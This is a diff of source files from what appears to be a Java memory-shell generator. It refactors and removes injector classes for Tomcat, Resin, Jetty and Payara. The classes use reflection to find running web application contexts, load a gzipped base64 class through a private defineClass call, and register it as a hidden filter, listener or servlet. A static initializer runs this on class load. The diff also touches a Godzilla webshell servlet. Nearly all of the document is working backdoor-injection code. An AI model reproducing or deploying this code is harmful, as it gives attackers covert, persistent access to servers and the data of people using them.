             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
-
     public void inject(Object context, Object servlet) throws Exception {
         Object servletHandler = getFieldValue(context, "_servletHandler");
 
@@ -198,7 +195,6 @@ public class JettyServletInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -206,16 +202,13 @@ public class JettyServletInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraFilterInjector.java

@@ -1,198 +0,0 @@
-package com.reajason.javaweb.memshell.payara.injector;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.logging.Logger;
-import java.util.zip.GZIPInputStream;
-
-/**
- * @author ReaJason
- */
-public class PayaraFilterInjector {
-    Logger log = Logger.getLogger(PayaraFilterInjector.class.getName());
-
-    static {
-        new PayaraFilterInjector();
-    }
-
-    public PayaraFilterInjector() {
-        try {
-            List<Object> contexts = getContext();
-            for (Object context : contexts) {
-                Object filter = getShell(context);
-                inject(context, filter);
-            }
-        } catch (Exception ignored) {
-        }
-    }
-
-
-    public String getUrlPattern() {
-        return "{{urlPattern}}";
-    }
-
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() throws IOException {
-        return "{{base64Str}}";
-    }
-
-
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
-        for (Thread thread : threads) {
-            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                Object context = getFieldValue(getFieldValue(thread, "target"), "this$0");
-                if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) {
-                    contexts.add(context);
-                }
-            }
-        }
-        return contexts;
-    }
-
-    @SuppressWarnings("all")
-    private Object getShell(Object context) throws Exception {
-        Object obj;
-        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
-        if (classLoader == null) {
-            classLoader = context.getClass().getClassLoader();
-        }
-        try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
-        } catch (Exception e) {
-            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
-            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
-            defineClass.setAccessible(true);
-            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
-        }
-        return obj;
-    }
-
-    @SuppressWarnings("unchecked")
-    public void inject(Object context, Object filter) throws Exception {
-        if (isInjected(context)) {
-            return;
-        }
-        String filterName = getClassName();
-        Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
-        Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
-        invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
-        invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
-        invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
-        invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
-        invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
-        try {
-            invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
-        } catch (Exception e) {
-            invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
-        }
-        Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
-        constructors[0].setAccessible(true);
-        Object filterConfig = constructors[0].newInstance(context, filterDef);
-        HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
-        filterConfigs.put(filterName, filterConfig);
-        log.info("filter added successfully");
-    }
-
-    private boolean isInjected(Object context) throws NoSuchMethodException {
-        Object filterDef = invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()});
-        if (filterDef != null) {
-            log.warning("filter already exists");
-            return true;
-        }
-        return false;
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) throws Exception {
-        Class<?> decoderClass;
-        try {
-            decoderClass = Class.forName("java.util.Base64");
-            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
-            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        } catch (Exception ignored) {
-            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
-        ByteArrayOutputStream out = new ByteArrayOutputStream();
-        GZIPInputStream gzipInputStream = null;
-
-        try {
-            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
-            byte[] buffer = new byte[4096];
-            int n;
-            while ((n = gzipInputStream.read(buffer)) > 0) {
-                out.write(buffer, 0, n);
-            }
-        } finally {
-            if (gzipInputStream != null) {
-                try {
-                    gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
-            }
-            out.close();
-        }
-        return out.toByteArray();
-    }
-
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        for (Class<?> clazz = obj.getClass();
-             clazz != Object.class;
-             clazz = clazz.getSuperclass()) {
-            try {
-                Field field = clazz.getDeclaredField(name);
-                field.setAccessible(true);
-                return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
-
-            }
-        }
-        throw new NoSuchFieldException(name);
-    }
-
-    @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
-                }
-            }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (NoSuchMethodException e) {
-            throw e;
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
-    }
-}

memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraListenerInjector.java

@@ -1,175 +0,0 @@
-package com.reajason.javaweb.memshell.payara.injector;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.lang.reflect.Field;
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.EventListener;
-import java.util.List;
-import java.util.logging.Logger;
-import java.util.zip.GZIPInputStream;
-
-
-/**
- * @author ReaJason
- */
-public class PayaraListenerInjector {
-    Logger log = Logger.getLogger(PayaraListenerInjector.class.getName());
-
-    static {
-        new PayaraListenerInjector();
-    }
-
-    public PayaraListenerInjector() {
-        try {
-            List<Object> contexts = getContext();
-            for (Object context : contexts) {
-                Object listener = getShell(context);
-                inject(context, listener);
-            }
-        } catch (Exception ignored) {
-        }
-    }
-
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() throws IOException {
-        return "{{base64Str}}";
-    }
-
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
-        for (Thread thread : threads) {
-            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                Object context = getFieldValue(getFieldValue(thread, "target"), "this$0");
-                if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) {
-                    contexts.add(context);
-                }
-            }
-        }
-        return contexts;
-    }
-
-    @SuppressWarnings("all")
-    private Object getShell(Object context) throws Exception {
-        Object obj;
-        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
-        if (classLoader == null) {
-            classLoader = context.getClass().getClassLoader();
-        }
-        try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
-        } catch (Exception e) {
-            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
-            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
-            defineClass.setAccessible(true);
-            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
-        }
-        return obj;
-    }
-
-    @SuppressWarnings("unchecked")
-    public void inject(Object context, Object listener) throws Exception {
-        List<EventListener> eventListeners = (List<EventListener>) invokeMethod(context, "getApplicationEventListeners", null, null);
-        boolean isExist = false;
-        for (EventListener eventListener : eventListeners) {
-            if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
-                isExist = true;
-                break;
-            }
-        }
-        if (!isExist) {
-            log.info("listener added successfully");
-            eventListeners.add((EventListener) listener);
-        } else {
-            log.warning("listener already exists");
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) throws Exception {
-        Class<?> decoderClass;
-        try {
-            decoderClass = Class.forName("java.util.Base64");
-            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
-            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        } catch (Exception ignored) {
-            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
-        ByteArrayOutputStream out = new ByteArrayOutputStream();
-        GZIPInputStream gzipInputStream = null;
-
-        try {
-            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
-            byte[] buffer = new byte[4096];
-            int n;
-            while ((n = gzipInputStream.read(buffer)) > 0) {
-                out.write(buffer, 0, n);
-            }
-        } finally {
-            if (gzipInputStream != null) {
-                try {
-                    gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
-            }
-            out.close();
-        }
-        return out.toByteArray();
-    }
-
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        for (Class<?> clazz = obj.getClass();
-             clazz != Object.class;
-             clazz = clazz.getSuperclass()) {
-            try {
-                Field field = clazz.getDeclaredField(name);
-                field.setAccessible(true);
-                return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
-
-            }
-        }
-        throw new NoSuchFieldException(name);
-    }
-
-    @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
-                }
-            }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (NoSuchMethodException e) {
-            throw e;
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
-    }
-}

memshell/src/main/java/com/reajason/javaweb/memshell/resin/injector/ResinFilterInjector.java

@@ -54,36 +54,31 @@ public class ResinFilterInjector {
             if (servletInvocationClass != null) {
                 Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
                 Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
-                if (webApp != null) {
                 contexts.add(webApp);
             }
         }
-        }
         return Arrays.asList(contexts.toArray());
     }
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     private void inject(Object context, Object filter) throws Exception {
-        String filterClassName = getClassName();
+        if (isInjected(context)) {
-        if (isInjected(context, filterClassName)) {
             System.out.println("filter already injected");
             return;
         }
@@ -94,8 +89,8 @@ public class ResinFilterInjector {
             filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
         }
         Object filterMappingImpl = filterMappingClass.newInstance();
-        invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
+        invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
-        invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
+        invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
         Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern", null, null);
         invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
         invokeMethod(urlPattern, "init", null, null);
@@ -105,10 +100,10 @@ public class ResinFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public boolean isInjected(Object context, String evilClassName) throws Exception {
+    public boolean isInjected(Object context) throws Exception {
         Map<String, Object> filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters");
         for (String key : filters.keySet()) {
-            if (key.contains(evilClassName)) {
+            if (key.contains(getClassName())) {
                 return true;
             }
         }
@@ -132,7 +127,6 @@ public class ResinFilterInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -140,16 +134,13 @@ public class ResinFilterInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/resin/injector/ResinListenerInjector.java

@@ -52,53 +52,41 @@ public class ResinListenerInjector {
             if (servletInvocationClass != null) {
                 Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
                 Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
-                if (webApp != null) {
                 contexts.add(webApp);
             }
         }
-        }
         return Arrays.asList(contexts.toArray());
     }
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     private void inject(Object context, Object listener) throws Exception {
-        if (isInjected(context)) {
+        List<Object> listeners = (List<Object>) getFieldValue(context, "_requestListeners");
+        for (Object o : listeners) {
+            if (o.getClass().getName().contains(getClassName())) {
                 return;
             }
+        }
         invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
         // 清除缓存，否则某些 uri 无法连接
         invokeMethod(context, "clearCache", null, null);
     }
 
-    @SuppressWarnings("unchecked")
-    public boolean isInjected(Object context) throws Exception {
-        List<Object> listeners = (List<Object>) getFieldValue(context, "_requestListeners");
-        for (Object listener : listeners) {
-            if (listener.getClass().getName().contains(getClassName())) {
-                return true;
-            }
-        }
-        return false;
-    }
-
     @SuppressWarnings("all")
     public static byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;
@@ -116,7 +104,6 @@ public class ResinListenerInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -124,16 +111,13 @@ public class ResinListenerInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/resin/injector/ResinServletInjector.java

@@ -46,18 +46,12 @@ public class ResinServletInjector {
         Set<Object> contexts = new HashSet<Object>();
         Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
         for (Thread thread : threads) {
-            Class<?> servletInvocationClass = null;
             try {
-                servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
+                Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
-            } catch (Exception e) {
-                continue;
-            }
-            if (servletInvocationClass != null) {
                 Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
                 Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
-                if (webApp != null) {
                 contexts.add(webApp);
-                }
+            } catch (Exception ignored) {
             }
         }
         return Arrays.asList(contexts.toArray());
@@ -65,21 +59,19 @@ public class ResinServletInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     private void inject(Object context, Object servlet) throws Exception {
@@ -129,7 +121,6 @@ public class ResinServletInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -137,16 +128,13 @@ public class ResinServletInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java

@@ -14,13 +14,19 @@ import java.io.IOException;
  * @since 2024/12/15
  */
 public class GodzillaServlet extends ClassLoader implements Servlet {
-
     public String key = "{{key}}";
     public String pass = "{{pass}}";
     public String md5 = "{{md5}}";
     public String headerName = "{{headerName}}";
     public String headerValue = "{{headerValue}}";
 
+    public GodzillaServlet() {
+    }
+
+    public GodzillaServlet(ClassLoader parent) {
+        super(parent);
+    }
+
     @Override
     public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
         HttpServletRequest request = (HttpServletRequest) req;
@@ -65,13 +71,6 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
 
     }
 
-    public GodzillaServlet() {
-    }
-
-    public GodzillaServlet(ClassLoader parent) {
-        super(parent);
-    }
-
     @SuppressWarnings("all")
     public Class<?> Q(byte[] cb) {
         return super.defineClass(cb, 0, cb.length);

memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterInjector.java

@@ -53,40 +53,19 @@ public class TomcatFilterInjector {
     public List<Object> getContext() throws Exception {
         List<Object> contexts = new ArrayList<Object>();
         Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
-        Object context = null;
         for (Thread thread : threads) {
-            // 适配 v5/v6/7/8
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-            if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
                 HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                // 原: map.get("localhost")
+                for (Object value : childrenMap.values()) {
-                // 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
+                    HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
-                for (Object key : childrenMap.keySet()) {
+                    for (Object context : children.values()) {
-                    HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(childrenMap.get(key), "children");
-                    // 原: context = children.get("");
-                    // 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
-                    for (Object key1 : children.keySet()) {
-                        context = children.get(key1);
-                        if (context != null && context.getClass().getName().contains("StandardContext")) {
-                            contexts.add(context);
-                        }
-                        // 兼容 spring boot 2.x embedded tomcat
-                        if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
                         contexts.add(context);
                     }
                 }
-                }
+            } else if (thread.getContextClassLoader() != null
-            }
-            // 适配 tomcat v9
-            else if (thread.getContextClassLoader() != null
                     && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
                     || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-                context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context");
+                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
-                if (context != null && context.getClass().getName().contains("StandardContext")) {
-                    contexts.add(context);
-                }
-                if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
-                    contexts.add(context);
-                }
             }
         }
         return contexts;
@@ -94,37 +73,27 @@ public class TomcatFilterInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
-    }
-
-    public boolean isInjected(Object context) throws Exception {
-        if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
-            System.out.println("filter already injected");
-            return true;
-        }
-        return false;
     }
 
     @SuppressWarnings("all")
     public void inject(Object context, Object filter) throws Exception {
-        if (isInjected(context)) {
+        if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
+            System.out.println("filter already injected");
             return;
         }
-        String filterClassName = getClassName();
         Object filterDef;
         Object filterMap;
         try {
@@ -142,10 +111,10 @@ public class TomcatFilterInjector {
                 filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, context.getClass().getClassLoader()).newInstance();
             }
         }
-        invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
+        invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
-        invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
+        invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
         invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
-        invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
+        invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
         invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
         Constructor<?>[] constructors;
         try {
@@ -162,12 +131,12 @@ public class TomcatFilterInjector {
         } catch (Exception e) {
             invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
         }
-        System.out.println("filter inject success");
         constructors[0].setAccessible(true);
         try {
             Object filterConfig = constructors[0].newInstance(context, filterDef);
             Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
-            filterConfigs.put(filterClassName, filterConfig);
+            filterConfigs.put(getClassName(), filterConfig);
+            System.out.println("filter inject success");
         } catch (Exception e) {
             // 一个 tomcat 多个应用部分应用通过上下文线程加载 filter 对象，可能在目标应用会加载不到
             if (!(e.getCause() instanceof ClassNotFoundException)) {
@@ -193,7 +162,6 @@ public class TomcatFilterInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -201,16 +169,13 @@ public class TomcatFilterInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatListenerInjector.java

@@ -45,42 +45,22 @@ public class TomcatListenerInjector {
         return "{{base64Str}}";
     }
 
-    @SuppressWarnings("all")
     public List<Object> getContext() throws Exception {
         List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
-        Object context = null;
         for (Thread thread : threads) {
-            // 适配 v5/v6/7/8
+            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-            if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
+                HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
-                // 原: map.get("localhost")
+                    HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
-                // 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
+                    for (Object context : children.values()) {
-                for (Object key : childrenMap.keySet()) {
-                    HashMap children = (HashMap) getFieldValue(childrenMap.get(key), "children");
-                    // 原: context = children.get("");
-                    // 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
-                    for (Object key1 : children.keySet()) {
-                        context = children.get(key1);
-                        if (context != null && context.getClass().getName().contains("StandardContext")) {
-                            contexts.add(context);
-                        }
-                        // 兼容 spring boot 2.x embedded tomcat
-                        if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
                         contexts.add(context);
                     }
                 }
-                }
+            } else if (thread.getContextClassLoader() != null
-            }
+                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-            // 适配 tomcat v9
